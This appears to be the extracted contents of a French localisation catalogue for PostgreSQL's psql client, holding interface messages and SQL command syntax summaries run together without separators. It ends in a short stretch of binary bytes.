  FOREIGN KEY ( nom_colonne [, ... ] ) REFERENCES
    table_référée [ ( colonne_référée [, ... ] ) ]
  [ MATCH FULL | MATCH PARTIAL | MATCH SIMPLE ]
  [ ON DELETE action ] [ ON UPDATE action ] }
[ DEFERRABLE | NOT DEFERRABLE ]
[ INITIALLY DEFERRED | INITIALLY IMMEDIATE ]

les paramètres_index dans les contraintes UNIQUE et PRIMARY KEY sont :

[ WITH ( paramètre_stockage [= valeur] [, ... ] ) ]
[ USING INDEX TABLESPACE espace_logique ]Ne peut pas ajouter une cellule au contenu de la table : le nombre total des
cellules %d est dépassé.
Ne peut pas ajouter l'en-tête au contenu de la table : le nombre de colonnes
%d est dépassé.
Ne peut pas se connecterVérificationContraintes de vérification :TriColonneDroits d'accès à la colonneCommande :    %s
Description : %s
Syntaxe :
%s

Type composé « %s.%s »Connexions
Créer une baseCréer un rôleType caract.DEALLOCATE [ PREPARE ] { nom_plan | ALL }DECLARE nom [ BINARY ] [ INSENSITIVE ] [ [ NO ] SCROLL ]
    CURSOR [ { WITH | WITHOUT } HOLD ] FOR requêteDELETE FROM [ ONLY ] table [ * ] [ [ AS ] alias ]
    [ USING liste_using ]
    [ WHERE condition | WHERE CURRENT OF nom_curseur ]
    [ RETURNING * | expression_sortie [ [ AS ] nom_sortie ] [, ...] ]DISCARD { ALL | PLANS | TEMPORARY | TEMP }DROP AGGREGATE [ IF EXISTS ] nom ( type [ , ... ] ) [ CASCADE | RESTRICT ]DROP CAST [ IF EXISTS ] (type_source AS type_cible) [ CASCADE | RESTRICT ]DROP CONVERSION [ IF EXISTS ] nom [ CASCADE | RESTRICT ]DROP DATABASE [ IF EXISTS ] nomDROP DOMAIN [ IF EXISTS ] nom [, ...]  [ CASCADE | RESTRICT ]DROP FOREIGN DATA WRAPPER [ IF EXISTS ] nom [ CASCADE | RESTRICT ]DROP FUNCTION [IF EXISTS ] nom
    ( [ [ mode_arg ] [ nom_arg ] type_arg [, ...] ] )
    [ CASCADE | RESTRICT ]DROP GROUP [IF EXISTS ] nom [, ...]DROP INDEX [IF EXISTS ] nom [, ...] [ CASCADE | RESTRICT ]DROP OPERATOR CLASS [IF EXISTS ] nom
    USING méthode_indexage [ CASCADE | RESTRICT ]DROP OPERATOR FAMILY [IF EXISTS ] nom
  USING méthode_indexage [ CASCADE | RESTRICT ]DROP OPERATOR [IF EXISTS ] nom
  ( { type_gauche | NONE } , { type_droit | NONE } )
  [ CASCADE | RESTRICT ]DROP OWNED BY nom [, ...] [ CASCADE | RESTRICT ]DROP ROLE [IF EXISTS ] nom [, ...]DROP RULE [IF EXISTS ] nom ON relation [ CASCADE | RESTRICT ]DROP SCHEMA [IF EXISTS ] nom [, ...] [ CASCADE | RESTRICT ]DROP SEQUENCE [IF EXISTS ] nom [, ...] [ CASCADE | RESTRICT ]DROP SERVER [ IF EXISTS ] nom [ CASCADE | RESTRICT ]DROP TABLE [IF EXISTS ] nom [, ...] [ CASCADE | RESTRICT ]DROP TABLESPACE [IF EXISTS ] nom_tablespaceDROP TEXT SEARCH CONFIGURATION [ IF EXISTS ] nom [ CASCADE | RESTRICT ]DROP TEXT SEARCH DICTIONARY [ IF EXISTS ] nom [ CASCADE | RESTRICT ]DROP TEXT SEARCH PARSER [ IF EXISTS ] nom [ CASCADE | RESTRICT ]DROP TEXT SEARCH TEMPLATE [ IF EXISTS ] nom [ CASCADE | RESTRICT ]DROP TRIGGER [IF EXISTS ] nom ON table [ CASCADE | RESTRICT ]DROP TYPE [IF EXISTS ] nom [, ...] [ CASCADE | RESTRICT ]DROP USER MAPPING [ IF EXISTS ] FOR { nomutilisateur | USER | CURRENT_USER | PUBLIC } SERVER nomserveurDROP USER [IF EXISTS ] nom [, ...]DROP VIEW [IF EXISTS ] nom [, ...] [ CASCADE | RESTRICT ]DROP [ PROCEDURAL ] LANGUAGE [IF EXISTS ] nom [ CASCADE | RESTRICT ]Le bas de page par défaut est désactivé.Le bas de page pas défaut est activé.Par défaut ?DescriptionDestinationDictionnairesAucune relation nommée « %s » n'a été trouvée.
Aucune relation avec l'OID « %s » n'a été trouvée.
Aucune configuration de la recherche de texte nommée « %s » n'a été trouvée.
Aucun analyseur de la recherche de texte nommé « %s » n'a été trouvé.
Règles désactivées :Triggers désactivés :END [ WORK | TRANSACTION ]EXECUTE nom_plan [ ( paramètre [, ...] ) ]EXPLAIN [ ANALYZE ] [ VERBOSE ] instructionÉlémentsEncodageFin de l'analyseSaisissez les données à copier suivies d'un saut de ligne.
Terminez avec un antislash et un point seuls sur une ligne.Saisissez-le à nouveau :Saisissez le nouveau mot de passe :Affichage étendu désactivé.
Affichage étendu activé.
FETCH [ direction { FROM | IN } ] nom_curseur

sans préciser de direction ou en choissant une des directions suivantes :

    NEXT
    PRIOR
    FIRST
    LAST
    ABSOLUTE nombre
    RELATIVE nombre
    count
    ALL
    FORWARD
    FORWARD nombre
    FORWARD ALL
    BACKWARD
    BACKWARD nombre
    BACKWARD ALLÉchec.
Le séparateur de champs est « %s ».
Wrapper des données distantesContraintes de clés étrangères :Formatage
FonctionGRANT { { SELECT | INSERT | UPDATE | DELETE | TRUNCATE | REFERENCES | TRIGGER }
    [,...] | ALL [ PRIVILEGES ] }
    ON [ TABLE ] nom_table [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { { SELECT | INSERT | UPDATE | REFERENCES } ( colonne [, ...] )
    [,...] | ALL [ PRIVILEGES ] ( colonne [, ...] ) }
    ON [ TABLE ] nom_table [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { { USAGE | SELECT | UPDATE }
    [,...] | ALL [ PRIVILEGES ] }
    ON SEQUENCE nom_séquence [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { { CREATE | CONNECT | TEMPORARY | TEMP } [,...] | ALL [ PRIVILEGES ] }
    ON DATABASE nom_base [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { USAGE | ALL [ PRIVILEGES ] }
    ON FOREIGN DATA WRAPPER nomfdw [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { USAGE | ALL [ PRIVILEGES ] }
    ON FOREIGN SERVER nom_serveur [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { EXECUTE | ALL [ PRIVILEGES ] }
    ON FUNCTION nom_fonction ( [ [ mode_arg ] [ nom_arg ] type_arg [, ...] ] ) [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { USAGE | ALL [ PRIVILEGES ] }
    ON LANGUAGE nom_langage [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { { CREATE | USAGE } [,...] | ALL [ PRIVILEGES ] }
    ON SCHEMA nom_schéma [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { CREATE | ALL [ PRIVILEGES ] }
    ON TABLESPACE nom_tablespace [, ...]
    TO { [ GROUP ] nom_rôle | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT rôle [, ...] TO nom_rôle [, ...] [ WITH ADMIN OPTION ]Général
Options générales :
Obtenir l'en-têteObtenir le prochain jetonObtenir les types de jetonContient des OIDIDINSERT INTO table [ ( colonne [, ...] ) ]
    { DEFAULT VALUES | VALUES ( { expression | DEFAULT } [, ...] ) [, ...] | requête }
    [ RETURNING * | expression_sortie [ [ AS ] nom_sortie ] [, ...] ]Implicite ?Index « %s.%s »Index :Informations
Hérite deInitialisationOptions d'initialisation :Entrée/Sortie
Nom interneInterrompu
Commande \%s invalide. Essayez \? pour l'aide-mémoire.
LISTEN nomLOAD 'nom_de_fichier'LOCK [ TABLE ] [ ONLY ] nom [ * ] [, ...] [ IN mode_verrouillage MODE ] [ NOWAIT ]

avec mode_verrouillage parmi :

    ACCESS SHARE | ROW SHARE | ROW EXCLUSIVE | SHARE UPDATE EXCLUSIVE
    | SHARE | SHARE ROW EXCLUSIVE | EXCLUSIVE | ACCESS EXCLUSIVELangage« Large objects »
« Large objects »Type de l'arg. gaucheLexizeListe des fonctions d'agrégationListe des conversions explicitesListe des conversionsListe des types de donnéesListe des bases de donnéesListe des domainesListe des serveurs distantsListe des wrappers de données distantesListe des fonctionsListe des opérateursListe des relationsListe des rôlesListe des schémasListe des tablespacesListe des configurations de la recherche de texteListe des dictionnaires de la recherche de texteListe des analyseurs de la recherche de texteListe des modèles de la recherche de texteListe des correspondances utilisateursL'affichage de la sortie numérique adaptée à la locale est désactivé.EmplacementMOVE [ direction { FROM | IN } ] nom_de_curseurMembre deMéthodeModificateurModificateursNOTIFY nomNomAucun changementSans connexionsAucun aide-mémoire disponible pour « %-.*s ».
Essayez \h sans arguments pour afficher les aide-mémoires disponibles.
Pas d'héritageAucune relation correspondante trouvée.
Aucune relation trouvée.
L'affichage de null est « %s ».
ObjetDescriptions des objetsSystème d'exploitation
OptionsLe format de sortie est %s.
PropriétairePREPARE TRANSACTION id_transactionPREPARE nom_plan [ ( type_données [, ...] ) ] AS instructionLe pagineur est toujours utilisé.Le pagineur est utilisé pour les affichages importants.Le pagineur n'est pas utilisé.Échec du chiffrement du mot de passe.
Mot de passe pour l'utilisateur %s : Mot de passe : Les mots de passe ne sont pas identiques.
Connexion précédente conservée
Tampon de requête
Le tampon de requête est vide.Le tampon de requête a été effacé.REASSIGN OWNED BY ancien_role [, ...] TO nouveau_roleREINDEX { INDEX | TABLE | DATABASE | SYSTEM } nom [ FORCE ]RELEASE [ SAVEPOINT ] nom_retourRESET paramètre
RESET ALLREVOKE [ GRANT OPTION FOR ]
    { { SELECT | INSERT | UPDATE | DELETE | TRUNCATE | REFERENCES | TRIGGER }
    [,...] | ALL [ PRIVILEGES ] }
    ON [ TABLE ] nom_table [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { { SELECT | INSERT | UPDATE | REFERENCES } ( colonne [, ...] )
    [,...] | ALL [ PRIVILEGES ] ( colonne [, ...] ) }
    ON [ TABLE ] nom_table [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { { USAGE | SELECT | UPDATE }
    [,...] | ALL [ PRIVILEGES ] }
    ON SEQUENCE nom_séquence [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { { CREATE | CONNECT | TEMPORARY | TEMP } [,...] | ALL [ PRIVILEGES ] }
    ON DATABASE nom_base [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { USAGE | ALL [ PRIVILEGES ] }
    ON FOREIGN DATA WRAPPER nom_fdw [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { USAGE | ALL [ PRIVILEGES ] }
    ON FOREIGN SERVER nom_serveur [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { EXECUTE | ALL [ PRIVILEGES ] }
    ON FUNCTION nom_fonction ( [ [ mode_arg ] [ nom_arg ] type_arg [, ...] ] ) [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { USAGE | ALL [ PRIVILEGES ] }
    ON LANGUAGE nom_langage [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { { CREATE | USAGE } [,...] | ALL [ PRIVILEGES ] }
    ON SCHEMA nom_schéma [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { CREATE | ALL [ PRIVILEGES ] }
    ON TABLESPACE nom_tablespace [, ...]
    FROM { [ GROUP ] nom_rôle | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ ADMIN OPTION FOR ]
    role [, ...] FROM nom_rôle [, ...]
    [ CASCADE | RESTRICT ]ROLLBACK PREPARED id_transactionROLLBACK [ WORK | TRANSACTION ]ROLLBACK [ WORK | TRANSACTION ] TO [ SAVEPOINT ] nom_retourLe séparateur d'enregistrements est « %s ».
Le séparateur d'enregistrements est <saut de ligne>.Référencé par :Rapportez les bogues à <pgsql-bugs@postgresql.org>.
Type de données du résultatType du résultatType de l'arg. droitNom du rôleRègles toujous activées :Règles activées uniquement sur le réplica :Règles :SAVEPOINT nom_retourSET CONSTRAINTS { ALL | nom [, ...] } { DEFERRED | IMMEDIATE }SET TRANSACTION mode_transaction [, ...]
SET SESSION CHARACTERISTICS AS TRANSACTION mode_transaction [, ...]

où mode_transaction peut être :

    ISOLATION LEVEL { SERIALIZABLE | REPEATABLE READ |
                      READ COMMITTED | READ UNCOMMITTED }
    READ WRITE | READ ONLYSET [ SESSION | LOCAL ] ROLE nom_rôle
SET [ SESSION | LOCAL ] ROLE NONE
RESET ROLESET [ SESSION | LOCAL ] SESSION AUTHORIZATION nom_utilisateur
SET [ SESSION | LOCAL ] SESSION AUTHORIZATION DEFAULT
RESET SESSION AUTHORIZATIONSET [ SESSION | LOCAL ] paramètre { TO | = } { valeur | 'valeur' | DEFAULT }
SET [ SESSION | LOCAL ] TIME ZONE { zone_horaire | LOCAL | DEFAULT }SHOW nom
SHOW ALLConnexion SSL (chiffrement : %s, bits : %i)
Connexion SSL (chiffrement inconnu)
START TRANSACTION [ mode_transaction [, ...] ]

où mode_transaction peut être :

    ISOLATION LEVEL { SERIALIZABLE | REPEATABLE READ |
                      READ COMMITTED | READ UNCOMMITTED }
    READ WRITE | READ ONLYSchémaSéquence « %s.%s »ServeurAffichage de la sortie numérique adaptée à la locale.Affichage des tuples seuls.TailleSourceCode sourceType sourceRelation spéciale « %s.%s »Début de l'analyseStockageSuccès.
SuperutilisateurTable TOAST « %s.%s »TRUNCATE [ TABLE ] [ ONLY ] nom [ * ] [, ... ]
    [ RESTART IDENTITY | CONTINUE IDENTITY ] [ CASCADE | RESTRICT ]TableTable « %s.%s »L'attribut de la table est « %s ».
Les attributs de la table ne sont pas définis.
TablespaceTablespace : « %s »Type cibleLa largeur cible pour le format « wrapped » est %d.
ModèleConfiguration « %s » de la recherche de texteConfiguration « %s.%s » de la recherche de texteAnalyseur « %s » de la recherche de texteAnalyseur « %s.%s » de la recherche de texteLa connexion au serveur a été perdue. Tentative de réinitialisation : Le serveur (version %d.%d) ne supporte pas l'édition du code de la fonction.
Le serveur (version %d.%d) ne supporte pas les serveurs distants.
Le serveur (version %d.%d) ne supporte pas les wrappers de données distantes.
Le serveur (version %d.%d) ne supporte pas la recherche plein texte.
Le serveur (version %d.%d) ne supporte pas les points de sauvegarde pour
ON_ERROR_ROLLBACK.
Le serveur (version %d.%d) ne supporte pas les tablespaces.
Le serveur (version %d.%d) ne supporte pas les correspondances d'utilisateurs.
Temps : %.3f ms
Chronométrage désactivé.Chronométrage activé.Le titre est « %s ».
Le titre n'est pas défini.
JetonNom du jetonTypes de jeton pour l'analyseur « %s »Types de jeton pour l'analyseur « %s.%s »Triggers toujours activés :Triggers activés uniquement sur le réplica :Triggers :Essayez « %s --help » pour plus d'informations.
L'affichage des tuples seuls est désactivé.TypeSaisissez « help » pour l'aide.

Saisissez:
    \copyright pour les termes de distribution
    \h pour l'aide-mémoire des commandes SQL
    \? pour l'aide-mémoire des commandes psql
    \g ou point-virgule en fin d'instruction pour exécuter la requête
    \q pour quitter
UNLISTEN { nom | * }UPDATE [ ONLY ] table [ * ] [ [ AS ] alias ]
    SET { colonne = { expression | DEFAULT } |
          ( colonne [, ...] ) = ( { expression | DEFAULT } [, ...] ) } [, ...]
    [ FROM liste_from ]
    [ WHERE condition | WHERE CURRENT OF nom_curseur ]
    [ RETURNING * | expression_sortie [ [ AS ] nom_sortie ] [, ...] ]Usage :
Saisissez « \q » pour quitter %s.
Nom de l'utilisateurVACUUM [ FULL ] [ FREEZE ] [ VERBOSE ] [ table ]
VACUUM [ FULL ] [ FREEZE ] [ VERBOSE ] ANALYZE [ table [ (colonne [, ...] ) ] ]VALUES ( expression [, ...] ) [, ...]
    [ ORDER BY expression_tri [ ASC | DESC | USING opérateur ] [, ...] ]
    [ LIMIT { total | ALL } ]
    [ OFFSET début [ ROW | ROWS ] ]
    [ FETCH { FIRST | NEXT } [ total ] { ROW | ROWS } ONLY ]ValidateurValeurVariables
VersionVue « %s.%s »Définition de la vue :VolatibilitéATTENTION : %s version %d.%d, version du serveur %d.%d.
         Certaines fonctionnalités de psql pourraient ne pas fonctionner.
Attention : l'encodage console (%u) diffère de l'encodage Windows (%u).
            Les caractères 8 bits peuvent ne pas fonctionner correctement.
            Voir la section « Notes aux utilisateurs de Windows » de la page
            référence de psql pour les détails.
Historique sauvegardé dans le fichier « %s/%s ».
Vous n'êtes pas connecté à une base de données.
Vous êtes maintenant connecté à la base de données « %s »Vous utilisez psql, l'interface en ligne de commande de PostgreSQL.[ WITH [ RECURSIVE ] requête_with [, ...] ]
SELECT [ ALL | DISTINCT [ ON ( expression [, ...] ) ] ]
    * | expression [ [ AS ] nom_sortie ] [, ...]
    INTO [ TEMPORARY | TEMP ] [ TABLE ] nouvelle_table
    [ FROM élément_from [, ...] ]
    [ WHERE condition ]
    [ GROUP BY expression [, ...] ]
    [ HAVING condition [, ...] ]
    [ WINDOW nom_window AS ( définition_window ) [, ...] ]
    [ { UNION | INTERSECT | EXCEPT } [ ALL ] select ]
    [ ORDER BY expression [ ASC | DESC | USING opérateur ] [ NULLS { FIRST | LAST } ] [, ...] ]
    [ LIMIT { total | ALL } ]
    [ OFFSET début [ ROW | ROWS ] ]
    [ FETCH { FIRST | NEXT } [ total ] { ROW | ROWS } ONLY ]
    [ FOR { UPDATE | SHARE } [ OF nom_table [, ...] ] [ NOWAIT ] [...] ][ WITH [ RECURSIVE ] requête_with [, ...] ]
SELECT [ ALL | DISTINCT [ ON ( expression [, ...] ) ] ]
    * | expression [ [ AS ] nom_sortie ] [, ...]
    [ FROM élément_from [, ...] ]
    [ WHERE condition ]
    [ GROUP BY expression [, ...] ]
    [ HAVING condition [, ...] ]
    [ WINDOW nom_window AS ( définition_window ) [, ...] ]
    [ { UNION | INTERSECT | EXCEPT } [ ALL ] select ]
    [ ORDER BY expression [ ASC | DESC | USING opérateur ] [ NULLS { FIRST | LAST } ] [, ...] ]
    [ LIMIT { total | ALL } ]
    [ OFFSET début [ ROW | ROWS ] ]
    [ FETCH { FIRST | NEXT } [ total ] { ROW | ROWS } ONLY ]
    [ FOR { UPDATE | SHARE } [ OF nom_table [, ...] ] [ NOWAIT ] [...] ]

avec élément_from faisant parti de :

    [ ONLY ] nom_table [ * ] [ [ AS ] alias [ ( alias_colonne [, ...] ) ] ]
    ( select ) [ AS ] alias [ ( alias_colonne [, ...] ) ]
    nom_requête_with [ [ AS ] alias [ ( alias_colonne [, ...] ) ] ]
    nom_fonction ( [ argument [, ...] ] ) [ AS ] alias [ ( alias_colonne [, ...] | définition_colonne [, ...] ) ]
    nom_fonction ( [ argument [, ...] ] ) AS ( définition_colonne [, ...] )
    élément_from [ NATURAL ] type_jointure élément_from [ ON condition_jointure | USING ( colonne_jointure [, ...] ) ]

et requête_with est:

    nom_requête_with [ ( nom_colonne [, ...] ) ] AS ( select )

TABLE { [ ONLY ] nom_table [ * ] | nom_requête_with }\! : échec
\%s : n'a pas pu accéder au répertoire « %s » : %s
\%s : erreur
\%s : argument « %s » supplémentaire ignoré
\%s : argument requis manquant
\connect : %s\copy : %s\copy : arguments requis
\copy : erreur d'analyse sur « %s »
\copy : erreur d'analyse à la fin de la ligne
\copy : réponse inattendue (%d)
\df ne prend pas l'option « w » pour un serveur en version %d.%d.
\df prends seulement [antwS+] comme options
\pset : les formats autorisés sont unaligned, aligned, wrapped, html, latex,
troff-ms
\pset : option inconnue : %s
abandonner la transaction en coursannulé du fait d'une erreur de lectureaggagrégationannuler une transaction précédemment préparée pour une validation en deux
phasesannulé par l'utilisateurne peut pas localiser le répertoire temporaire : %s
modifier une base de donnéesmodifier un rôlemodifier un paramètre d'exécutionmodifier le nom d'un groupe ou la liste des ses membresmodifier la définition d'une conversionmodifier la définition d'un domainemodifier la définition d'un serveur distantmodifier la définition d'un wrapper de données distantesmodifier la définition d'une fonctionmodifier la définition d'un langage procéduralmodifier la définition d'un schémamodifier la définition d'un générateur de séquencemodifier la définition d'une tablemodifier la définition d'un tablespacemodifier la définition d'une configuration de la recherche de textemodifier la définition d'un dictionnaire de la recherche de textemodifier la définition d'un analyseur de la recherche de textemodifier la définition d'un modèle de la recherche de textemodifier la définition d'un triggermodifier la définition d'un typemodifier la définition d'une correspondance d'utilisateurmodifier la définition d'une vuemodifier la définition d'une fonction d'agrégationmodifier la définition d'un indexmodifier la définition d'un opérateurmodifier la définition d'une classe d'opérateursmodifier la définition d'une famille d'opérateurchanger le propriétaire des objets d'un rôlele processus fils a quitté avec le code de sortie %dle processus fils a quitté avec un statut %d non reconnule processus fils a été terminé par l'exception 0x%Xle processus fils a été terminé par le signal %dle processus fils a été terminé par le signal %sfermer un curseurréorganiser (cluster) une table en fonction d'un indexacquérir des statistiques concernant la base de donnéesvalider une transaction précédemment préparée pour une validation en deux
phasesvalider la transaction en courscalculer un ensemble de lignesla connexion au serveur a été perdue
contient une gestion avancée de la ligne de commandecopier des données entre un fichier et une tablen'a pas pu accéder au répertoire « %s »n'a pas pu trouver un « %s » à exécutern'a pas pu obtenir le nom d'utilisateur courant : %s
n'a pas pu obtenir le répertoire de l'utilisateur : %s
n'a pas pu identifier le répertoire courant : %sn'a pas pu ouvrir le fichier temporaire « %s » : %s
n'a pas pu lire le binaire « %s »n'a pas pu lire à partir du fichier en entrée : %s
n'a pas pu lire le lien symbolique « %s »n'a pas pu sauvegarder l'historique dans le fichier « %s » : %s
n'a pas pu exécuter /bin/sh
n'a pas pu exécuter l'éditeur « %s »
n'a pas pu écrire les données du COPY : %s
créer une nouvelle base de donnéescréer de nouvelles lignes dans une tabletype de donnéesdésallouer une instruction préparéePar défaut, %sdéfinir un curseurdéfinir une nouvelle fonction d'agrégationdéfinir un nouveau transtypagedéfinir une nouvelle contrainte de déclenchementdéfinir un nouveau type de donnéesdéfinir un nouveau rôledéfinir un nouveau domainedéfinir une nouvelle conversion d'encodagedéfinir un nouveau serveur distantdéfinir un nouveau wrapper de données distantesdéfinir une nouvelle fonctiondéfinir un nouvel indexdéfinit une nouvelle correspondance d'un utilisateur vers un serveur distantdéfinir un nouvel opérateurdéfinir une nouvelle classe d'opérateurdéfinir une nouvelle famille d'opérateurdéfinir un nouveau langage de procéduresdéfinir une nouvelle règle de réécrituredéfinir un nouveau point de retournement pour la transaction en coursdéfinir un nouveau schémadéfinir un nouveau générateur de séquencedéfinir une nouvelle tabledéfinir une nouvelle table à partir des résultats d'une requêtedéfinir un nouveau tablespacedéfinir une nouvelle configuration de la recherche de textedéfinir un nouveau dictionnaire de la recherche de textedéfinir un nouvel analyseur de la recherche de textedéfinir un nouveau modèle de la recherche de textedéfinir un nouveau triggerdéfinir une nouvelle vuedéfinir des privilèges d'accèsdéfinir ou modifier les commentaires d'un objetsupprimer des lignes d'une tabledétruire un point de retournement précédemment définiannuler l'état de la sessionvider une table ou un ensemble de tablesexécuter une instruction préparéepour la table « %s.%s »forcer un point de vérification des journaux de transactionfonctioncompacter et optionnellement analyser une base de donnéesengendrer une notificationl'historique n'est pas supportée par cette installation
immutableassignéindexbinaire « %s » invalidecommande \%s invalide
format de sortie invalide (erreur interne) : %dse mettre à l'écoute d'une notificationcharge un fichier de bibliothèque partagéesocket localeverrouiller une tablenonaucun tampon de requête
normalnon NULLdésactivéactivéopérateurmémoire épuisée
positionner un curseurpréparer une instruction pour exécutionpréparer la transaction en cours pour une validation en deux phasesclé primaire, psql est l'interface interactive de PostgreSQL.

reconstruire des indexsupprimer un transtypagesupprimer une conversionsupprimer un type de donnéessupprimer une base de donnéessupprimer un rôle de la base de donnéessupprimer un domainesupprimer un descripteur de serveur distantsupprimer un wrapper de données distantessupprimer une fonctionsupprimer un langage procéduralsupprimer une règle de réécrituresupprimer un schémasupprimer une séquencesupprimer une tablesupprimer un tablespacesupprimer une configuration de la recherche de textesupprimer un dictionnaire de la recherche de textesupprimer un analyseur de la recherche de textesupprimer un modèle de la recherche de textesupprimer un triggersupprime une correspondance utilisateur pour un serveur distantsupprimer une vuesupprimer des privilèges d'accèssupprimer une fonction d'agrégationsupprimer un indexsupprimer un opérateursupprimer une classe d'opérateursupprimer une famille d'opérateursupprimer les objets appartenant à un rôleréinitialiser un paramètre d'exécution à sa valeur par défautextraire certaines lignes d'une requête à l'aide d'un curseurextraire des lignes d'une table ou d'une vueannuler jusqu'au point de retournementrègleséquencedéfinir les modes de vérification de contrainte pour la transaction en coursdéfinir les caractéristiques de la transaction en coursdéfinir l'identifiant actuel de l'utilisateur de la session courantedéfinir l'identifiant de l'utilisateur de session et l'identifiant actuel de
l'utilisateur de la session couranteafficher le plan d'exécution d'une instructionafficher la valeur d'un paramètre d'exécutionspécialstabledébuter un bloc de transactionarrêter l'écoute d'une notificationtabletriggertente de sortir du mode copyunique, actualiser les lignes d'une tablevuevolatilewindowoui
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚